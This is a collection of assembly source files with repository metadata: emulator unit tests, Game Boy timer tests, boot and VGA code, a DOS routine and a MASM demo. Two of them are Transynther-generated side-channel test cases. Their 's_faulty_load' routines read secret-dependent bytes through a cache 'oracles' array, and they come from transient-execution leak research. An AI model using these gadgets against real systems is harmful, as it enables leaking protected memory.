{'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 2, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
32.714844
2,999
0.657552
f5a976303185675309676933c1c552e1950bbe42
411
asm
Assembly
unittests/ASM/X87_F64/D9_F3_F64.asm
Seas0/FEX
4f4263263b560b0a25e0d48555d5b99ca12c938f
[ "MIT" ]
null
null
null
unittests/ASM/X87_F64/D9_F3_F64.asm
Seas0/FEX
4f4263263b560b0a25e0d48555d5b99ca12c938f
[ "MIT" ]
null
null
null
unittests/ASM/X87_F64/D9_F3_F64.asm
Seas0/FEX
4f4263263b560b0a25e0d48555d5b99ca12c938f
[ "MIT" ]
null
null
null
%ifdef CONFIG { "RegData": { "RAX": ["0x3ff0000000000000"], "RBX": ["0x3ff921fb54442d18"] }, "Env": { "FEX_X87REDUCEDPRECISION" : "1" } } %endif mov rcx, 0xe0000000 lea rdx, [rel data] fld tword [rdx + 8 * 0] lea rdx, [rel data2] fld tword [rdx + 8 * 0] fpatan fld1 fstp qword [rcx] mov rax, [rcx] fstp qword [rcx] mov rbx, [rcx] hlt align 8 data: dt 7.0 dq 0 data2: dt 0.0 dq 0
11.108108
44
0.596107
4fb2fbf119ba22be01751c903207405446497bdd
4,803
asm
Assembly
src/boot/vga.asm
robey/funos
904d7787f9c9dd2c5242e93356a30e21fa355948
[ "Apache-2.0" ]
5
2015-11-09T20:56:46.000Z
2021-12-13T18:53:18.000Z
src/boot/vga.asm
robey/funos
904d7787f9c9dd2c5242e93356a30e21fa355948
[ "Apache-2.0" ]
null
null
null
src/boot/vga.asm
robey/funos
904d7787f9c9dd2c5242e93356a30e21fa355948
[ "Apache-2.0" ]
null
null
null
; ; simple routines for drawing a status line during early boot. ; %define module vga %include "api.macro" %include "io.macro" %define VGA_SCREEN_BUFFER 0xb8000 %define VGA_BOTTOM_LINE (VGA_SCREEN_BUFFER + (2 * 80 * 24)) %define VGA_REGISTER_A (VGA_BOTTOM_LINE + (62 * 2)) %define VGA_REGISTER_B (VGA_BOTTOM_LINE + (71 * 2)) %define VGA_BLANK (0x5f20) %define VGA_HIGHLIGHT (0x5e) %define VGA_SCROLLBACK_SIZE 16384 %define VGA_PORT_SELECT 0x3d4 %define VGA_PORT_DATA 0x3d5 %define VGA_REGISTER_CURSOR_START 0x0a %define VGA_REGISTER_CURSOR_END 0x0b %define VGA_REGISTER_CURSOR_HIGH 0x0e %define VGA_REGISTER_CURSOR_LOW 0x0f global \ vga_dump_eax, \ vga_highlight, \ vga_put_small, \ vga_scrollback_buffer, \ vga_scrollback_size, \ vga_status_update section .text global vga_init vga_init: call vga_show_cursor call vga_blank_status_line mov esi, loading_message call vga_display ret vga_blank_status_line: push eax mov eax, 24 call vga_blank_line pop eax ret ; eax = line # global vga_blank_line vga_blank_line: push eax push ecx push edx mov edx, eax shl edx, 8 call vga_compute ; let's start blankin'. mov ecx, 80 mov eax, VGA_BLANK cld rep stosw pop edx pop ecx pop eax ret ; esi = string ptr vga_display: push eax push ecx mov edi, VGA_BOTTOM_LINE + 2 mov ecx, 0 .loop: mov ax, [edi] and ax, 0xff00 mov al, [esi + ecx] cmp al, 0 je .out stosw inc ecx jnz .loop .out: add edi, 2 mov [vga_status_cursor], edi pop ecx pop eax ret ; edi = where in vga buffer (in/out) ; ecx = LSB string of up to 4 bytes to write. vga_put_small: push eax push ecx .loop: cmp cl, 0 je .out mov ax, [edi] mov al, cl stosw shr ecx, 8 jnz .loop .out: pop ecx pop eax ret ; highlight some chars. ; edi = where in vga buffer ; ecx = count vga_highlight: push eax push edi .loop: mov ax, [edi] mov ah, VGA_HIGHLIGHT stosw dec ecx jnz .loop pop edi pop eax ret ; edx YYXX -> edi global vga_compute vga_compute: push eax push ecx mov eax, edx and eax, 0xff00 ; mulitply Y by 160 by shift magic (it starts out as Y * 256). shr eax, 1 mov ecx, eax shr eax, 2 add ecx, eax mov edi, VGA_SCREEN_BUFFER add edi, ecx ; add in X and edx, 0xff shl edx, 1 add edi, edx pop ecx pop eax ret ; update the current status letter and display it. ; this goes (A -> B -> C -> ...) as the boot progresses, so that if it dies, ; you can see roughly where it happened. vga_status_update: inc byte [vga_status_letter] mov edi, [vga_status_cursor] mov ax, VGA_BLANK and ax, 0xff00 mov al, [vga_status_letter] mov [edi], ax ret ; display eax as hex, at edi (an address of the VGA screen) vga_dump_eax: push eax push ebx push ecx push edx mov ecx, 16 .loop: sub ecx, 2 mov bl, al and bl, 15 add bl, 0x30 cmp bl, 0x3a jl .digit ; hex letter add bl, 0x61 - 0x3a .digit: mov dx, [edi + ecx] and dx, 0xff00 or dl, bl mov [edi + ecx], dx shr eax, 4 cmp ecx, 0 jne .loop add edi, 16 pop edx pop ecx pop ebx pop eax ret ; display eax at the "register A" field of the status line. global vga_display_register_a vga_display_register_a: mov edi, VGA_REGISTER_A jmp vga_dump_eax ; display eax at the "register B" field of the status line. global vga_display_register_b vga_display_register_b: mov edi, VGA_REGISTER_B jmp vga_dump_eax ; (external) put blinking cursor at linear offset from (0, 0) global vga_set_cursor vga_set_cursor: push ebp mov ebp, esp push eax push edx outio VGA_PORT_SELECT, VGA_REGISTER_CURSOR_LOW mov eax, [ebp + 8] outioa VGA_PORT_DATA outio VGA_PORT_SELECT, VGA_REGISTER_CURSOR_HIGH mov eax, [ebp + 8] shr eax, 8 outioa VGA_PORT_DATA pop edx pop eax pop ebp ret global vga_show_cursor vga_show_cursor: push eax push edx ; set big blocky cursor. outio VGA_PORT_SELECT, VGA_REGISTER_CURSOR_START outio VGA_PORT_DATA, 0 outio VGA_PORT_SELECT, VGA_REGISTER_CURSOR_END outio VGA_PORT_DATA, 15 pop edx pop eax ret global vga_hide_cursor vga_hide_cursor: push eax push edx ; set invisible cursor. outio VGA_PORT_SELECT, VGA_REGISTER_CURSOR_START outio VGA_PORT_DATA, 0x20 outio VGA_PORT_SELECT, VGA_REGISTER_CURSOR_END outio VGA_PORT_DATA, 0x20 pop edx pop eax ret section .data align 4 vga_status_cursor: dd 0 vga_status_letter: db '@' loading_message: db 'Loading FunOS...', 0 vga_scrollback_size: dd VGA_SCROLLBACK_SIZE ; for the (later) terminal phase, allocate a 16KB scrollback buffer section .bss align 4096 vga_scrollback_buffer: resb VGA_SCROLLBACK_SIZE
17.988764
76
0.695607
848ee27a274b0c90b95f81e0aad7adbce9add565
2,972
asm
Assembly
timers/tac_set_timer_disabled_2/main.asm
AntonioND/gbc-hw-tests
631e60000c885154a8526df0b148847f9c34ce42
[ "MIT" ]
6
2018-07-21T12:11:21.000Z
2021-07-23T16:32:47.000Z
timers/tac_set_timer_disabled_2/main.asm
PMArkive/gbc-hw-tests
631e60000c885154a8526df0b148847f9c34ce42
[ "MIT" ]
null
null
null
timers/tac_set_timer_disabled_2/main.asm
PMArkive/gbc-hw-tests
631e60000c885154a8526df0b148847f9c34ce42
[ "MIT" ]
3
2016-04-26T07:45:34.000Z
2018-12-30T05:45:14.000Z
INCLUDE "hardware.inc" INCLUDE "header.inc" SECTION "var",BSS ram_ptr: DS 2 repeat_loop: DS 1 SECTION "Main",HOME ;-------------------------------------------------------------------------- ;- Main() - ;-------------------------------------------------------------------------- Main: ld hl,$A000 ld a,[Init_Reg_A] cp a,$11 jr nz,.skipchange1 ld a,0 ld [repeat_loop],a call CPU_slow .skipchange1: .repeat_all: ; ------------------------------------------------------- ld a,$0A ld [$0000],a ; enable ram ; ------------------------------------------------------- VALUE_WRITEN SET 0 REPT 16 ld a,TACF_STOP|TACF_16KHZ ld [rTAC],a ld a,0 ld [rTMA],a ld [rDIV],a ld [rTIMA],a ld [rIF],a ld a,VALUE_WRITEN ld [rDIV],a ; sync REPT 7 push de pop de nop ENDR nop nop nop nop nop ld [rTAC],a ; write just when internal counter goes from 0x00FF to 0x0100 ld a,[rTIMA] ld [hl+],a ld a,[rIF] and a,4 ld [hl+],a VALUE_WRITEN SET VALUE_WRITEN+1 ENDR ; ----------------------- VALUE_WRITEN SET 0 REPT 16 ld a,TACF_STOP|TACF_16KHZ ld [rTAC],a ld a,0 ld [rTMA],a ld [rDIV],a ld [rTIMA],a ld [rIF],a ld a,VALUE_WRITEN ld [rDIV],a ; sync REPT 7 ld [rTAC],a ld [rTAC],a nop nop ENDR ld [rTAC],a nop nop ld [rTAC],a ; write just when internal counter goes from 0x00FF to 0x0100 ld a,[rTIMA] ld [hl+],a ld a,[rIF] and a,4 ld [hl+],a VALUE_WRITEN SET VALUE_WRITEN+1 ENDR ; ----------------------- VALUE_WRITEN SET 0 REPT 16 ld a,TACF_STOP|TACF_16KHZ ld [rTAC],a ld a,0 ld [rTMA],a ld [rDIV],a ld [rIF],a ld a,$FF ld [rTIMA],a ld a,VALUE_WRITEN ld [rDIV],a ; sync REPT 7 push de pop de nop ENDR nop nop nop nop nop ld [rTAC],a ; write just when internal counter goes from 0x00FF to 0x0100 ld a,[rTIMA] ld [hl+],a ld a,[rIF] and a,4 ld [hl+],a VALUE_WRITEN SET VALUE_WRITEN+1 ENDR ; ----------------------- VALUE_WRITEN SET 0 REPT 16 ld a,TACF_STOP|TACF_16KHZ ld [rTAC],a ld a,0 ld [rTMA],a ld [rDIV],a ld [rIF],a ld a,$FF ld [rTIMA],a ld a,VALUE_WRITEN ld [rDIV],a ; sync REPT 7 ld [rTAC],a ld [rTAC],a nop nop ENDR ld [rTAC],a nop nop ld [rTAC],a ; write just when internal counter goes from 0x00FF to 0x0100 ld a,[rTIMA] ld [hl+],a ld a,[rIF] and a,4 ld [hl+],a VALUE_WRITEN SET VALUE_WRITEN+1 ENDR ; ------------------------------------------------------- push hl ; magic number ld [hl],$12 inc hl ld [hl],$34 inc hl ld [hl],$56 inc hl ld [hl],$78 pop hl ld a,$00 ld [$0000],a ; disable ram ; ------------------------------------------------------- ld a,[Init_Reg_A] cp a,$11 jr nz,.skipchange2 ld a,[repeat_loop] and a,a jr nz,.endloop ; ------------------------------------------------------- call CPU_fast ld a,1 ld [repeat_loop],a jp .repeat_all .skipchange2: .endloop: halt jr .endloop
13.327354
75
0.506057
d6e3f16ae882052a244c8b0503395808772e25e3
163
asm
Assembly
libsrc/_DEVELOPMENT/compress/zx1/z80/asm_dzx1_smart_rcs.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/compress/zx1/z80/asm_dzx1_smart_rcs.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/compress/zx1/z80/asm_dzx1_smart_rcs.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
IF !__CPU_INTEL__ && !__CPU_GBZ80__ SECTION code_lib SECTION code_compress_zx1 PUBLIC asm_dzx1_smart_rcs asm_dzx1_smart_rcs: INCLUDE "dzx1_smartRCS.asm" ENDIF
13.583333
35
0.840491
7aac672147596234d9aa89eb08ba716b99f3efc9
98
asm
Assembly
gfx/pokemon/medicham/anim_idle.asm
Ebernacher90/pokecrystal-allworld
5d623c760e936842cf92563912c5bd64dd69baef
[ "blessing" ]
null
null
null
gfx/pokemon/medicham/anim_idle.asm
Ebernacher90/pokecrystal-allworld
5d623c760e936842cf92563912c5bd64dd69baef
[ "blessing" ]
null
null
null
gfx/pokemon/medicham/anim_idle.asm
Ebernacher90/pokecrystal-allworld
5d623c760e936842cf92563912c5bd64dd69baef
[ "blessing" ]
null
null
null
setrepeat 2 frame 4, 06 frame 0, 06 dorepeat 1 frame 5, 12 frame 0, 12 frame 6, 12 endanim
12.25
12
0.673469
a3094f79b242643fa41dce04b75d8f82c635ace5
3,821
asm
Assembly
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_67_734.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_67_734.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_67_734.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1215, %rcx nop nop nop sub $12786, %r11 movb $0x61, (%rcx) nop nop nop nop nop sub $61167, %r13 lea addresses_WT_ht+0x13095, %rbx nop nop nop nop nop add $1690, %r15 mov $0x6162636465666768, %rcx movq %rcx, (%rbx) nop add %rax, %rax lea addresses_WT_ht+0x18c35, %r11 nop nop xor %r9, %r9 mov $0x6162636465666768, %rcx movq %rcx, %xmm3 movups %xmm3, (%r11) nop sub $48753, %r15 lea addresses_UC_ht+0x1c495, %r15 cmp %r13, %r13 mov (%r15), %r9 cmp %rbx, %rbx lea addresses_UC_ht+0x14911, %r9 nop nop nop sub $43619, %r15 movb $0x61, (%r9) nop nop nop nop nop xor $31884, %rcx lea addresses_D_ht+0x123d5, %rax nop nop nop nop dec %r13 and $0xffffffffffffffc0, %rax vmovntdqa (%rax), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rbx nop nop sub $33697, %r11 lea addresses_WC_ht+0xf695, %r9 nop nop nop nop and $7530, %r13 mov (%r9), %cx nop nop nop inc %rbx lea addresses_WC_ht+0xae95, %r15 nop nop nop nop nop add $11605, %rbx movups (%r15), %xmm7 vpextrq $1, %xmm7, %r13 cmp $64078, %rcx lea addresses_UC_ht+0xa05d, %rsi lea addresses_WT_ht+0x1e345, %rdi nop cmp %rax, %rax mov $90, %rcx rep movsl nop nop nop nop cmp %r13, %r13 lea addresses_D_ht+0xbb15, %r15 nop nop nop nop nop xor %r9, %r9 movl $0x61626364, (%r15) xor $32626, %r9 lea addresses_D_ht+0x2695, %r15 nop nop nop and %rcx, %rcx movb $0x61, (%r15) nop nop sub $6551, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %rcx push %rdx push %rsi // Faulty Load lea addresses_US+0x19e95, %r14 nop and $2369, %rdx movb (%r14), %cl lea oracles, %r12 and $0xff, %rcx shlq $12, %rcx mov (%r12,%rcx,1), %rcx pop %rsi pop %rdx pop %rcx pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_US', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': True, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'00': 67} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
21.110497
200
0.647213
34a238b3d78f805eb5092e81c7ca5f05a6cb76d7
358
asm
Assembly
src/PJ/fileio/dosetdta.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
119
2015-01-10T15:13:50.000Z
2022-01-24T04:54:34.000Z
src/PJ/fileio/dosetdta.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
6
2015-10-22T20:14:59.000Z
2021-07-10T03:25:21.000Z
src/PJ/fileio/dosetdta.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
27
2015-04-24T22:55:30.000Z
2022-01-21T13:54:00.000Z
CGROUP group code code segment dword 'CODE' assume cs:CGROUP,ds:CGROUP include errcodes.i public pj_dset_dta ; void pj_dset_dta(Fndata *dta); pj_dset_dta proc near jsep struc jse_xxx dd ? jse_ret dd ? jse_dta dd ? jsep ends push edx mov edx,[esp].jse_dta mov ah,1ah int 21h pop edx ret pj_dset_dta endp code ends end
13.769231
33
0.695531
1608303e4fda94cc4f997997210ac47cca09163a
2,066
asm
Assembly
src/kernel/boot.asm
mhinz/flauschix
136090a8a2e2d060780de9c304e2ac880b5fd3c7
[ "BSD-3-Clause" ]
6
2015-11-30T16:30:58.000Z
2021-11-09T16:17:11.000Z
src/kernel/boot.asm
mhinz/flauschix
136090a8a2e2d060780de9c304e2ac880b5fd3c7
[ "BSD-3-Clause" ]
null
null
null
src/kernel/boot.asm
mhinz/flauschix
136090a8a2e2d060780de9c304e2ac880b5fd3c7
[ "BSD-3-Clause" ]
null
null
null
; Copyright (c) 2013 Marco Hinz ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; - Redistributions of source code must retain the above copyright notice, this ; list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; - Neither the name of the author nor the names of its contributors may be used ; to endorse or promote products derived from this software without specific ; prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. align 4 extern kmain global loader global magic global mboot MODULEALIGN equ 1<<0 MEMINFO equ 1<<1 FLAGS equ MODULEALIGN | MEMINFO MAGIC equ 0x1BADB002 CHECKSUM equ -(MAGIC + FLAGS) STACKSIZE equ 0x4000 ; 16k kernel stack section .bss stack: resb STACKSIZE magic: resd 1 mboot: resd 1 section .text dd MAGIC dd FLAGS dd CHECKSUM loader: mov esp, stack + STACKSIZE ; initialize stack pointer mov [magic], eax mov [mboot], ebx cli call kmain jmp $
30.835821
80
0.74637
46730d5f49f13684c6e4d69ea63162d823b68486
536
asm
Assembly
programs/oeis/082/A082111.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/082/A082111.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/082/A082111.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A082111: a(n) = n^2 + 5*n + 1. ; 1,7,15,25,37,51,67,85,105,127,151,177,205,235,267,301,337,375,415,457,501,547,595,645,697,751,807,865,925,987,1051,1117,1185,1255,1327,1401,1477,1555,1635,1717,1801,1887,1975,2065,2157,2251,2347,2445,2545,2647,2751,2857,2965,3075,3187,3301,3417,3535,3655,3777,3901,4027,4155,4285,4417,4551,4687,4825,4965,5107,5251,5397,5545,5695,5847,6001,6157,6315,6475,6637,6801,6967,7135,7305,7477,7651,7827,8005,8185,8367,8551,8737,8925,9115,9307,9501,9697,9895,10095,10297 mov $1,$0 add $1,5 mul $0,$1 add $0,1
67
463
0.738806
14efb2b305f2ee505e03115ac2ef7c4bbbc49b7f
227
asm
Assembly
src/Core/RSTHandlers.asm
stoneface86/GameboyBoilerplateProj
7d2dedb2c3f6fe49819f8ca32c4f6308022d18c7
[ "MIT" ]
25
2018-06-08T19:19:53.000Z
2021-10-03T05:07:38.000Z
src/Core/RSTHandlers.asm
stoneface86/GameboyBoilerplateProj
7d2dedb2c3f6fe49819f8ca32c4f6308022d18c7
[ "MIT" ]
1
2020-07-14T20:15:47.000Z
2020-07-15T20:15:26.000Z
src/Core/RSTHandlers.asm
stoneface86/GameboyBoilerplateProj
7d2dedb2c3f6fe49819f8ca32c4f6308022d18c7
[ "MIT" ]
6
2019-05-23T05:32:11.000Z
2020-04-26T21:26:00.000Z
include "./src/Includes.inc" section "RST Handlers", rom0 rst00:: rst $38 rst08:: rst $38 rst10:: rst $38 rst18:: rst $38 rst20:: rst $38 rst28:: rst $38 rst30:: rst $38 rst38:: rst $38
8.107143
28
0.54185
9f257ce825464b605dabac71b6bb1b9b9c4f2389
837
asm
Assembly
MASM/Number.asm
secana/Assembler-Examples
4b67a32e702d5456ac00380ca081028c2e8d0baf
[ "Apache-2.0" ]
8
2018-06-02T21:45:08.000Z
2022-03-16T07:35:29.000Z
MASM/Number.asm
secana/Assembler-Examples
4b67a32e702d5456ac00380ca081028c2e8d0baf
[ "Apache-2.0" ]
null
null
null
MASM/Number.asm
secana/Assembler-Examples
4b67a32e702d5456ac00380ca081028c2e8d0baf
[ "Apache-2.0" ]
7
2017-12-05T16:51:23.000Z
2021-03-15T23:01:08.000Z
;============================================================== .386 .model flat,stdcall option casemap:none ;============================================================== include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib .data szLine db 80 DUP("="),0 szCaption db "My first console program:",10,0 szInput db "Please enter a number:",0 szOutput db "Your number is:",0 number db 20 DUP(0) .code start: push offset szLine call StdOut push offset szCaption call StdOut push offset szLine call StdOut push offset szInput call StdOut push 20 push offset number call StdIn push offset szOutput call StdOut push offset number call StdOut push 0 call ExitProcess end start
19.928571
63
0.635603
374811206ac41441159351341832e7b32f09ff1b
755
asm
Assembly
src/drawCode/mmRender.asm
Gip-Gip/VePseu
44e89cd70cab8c9e24ddb024b953cfa842ed54c7
[ "0BSD" ]
5
2018-04-20T01:00:01.000Z
2020-08-18T23:31:50.000Z
src/drawCode/mmRender.asm
Gip-Gip/VePseu
44e89cd70cab8c9e24ddb024b953cfa842ed54c7
[ "0BSD" ]
3
2018-06-25T14:07:03.000Z
2018-06-29T00:56:36.000Z
src/drawCode/mmRender.asm
Gip-Gip/VePseu
44e89cd70cab8c9e24ddb024b953cfa842ed54c7
[ "0BSD" ]
null
null
null
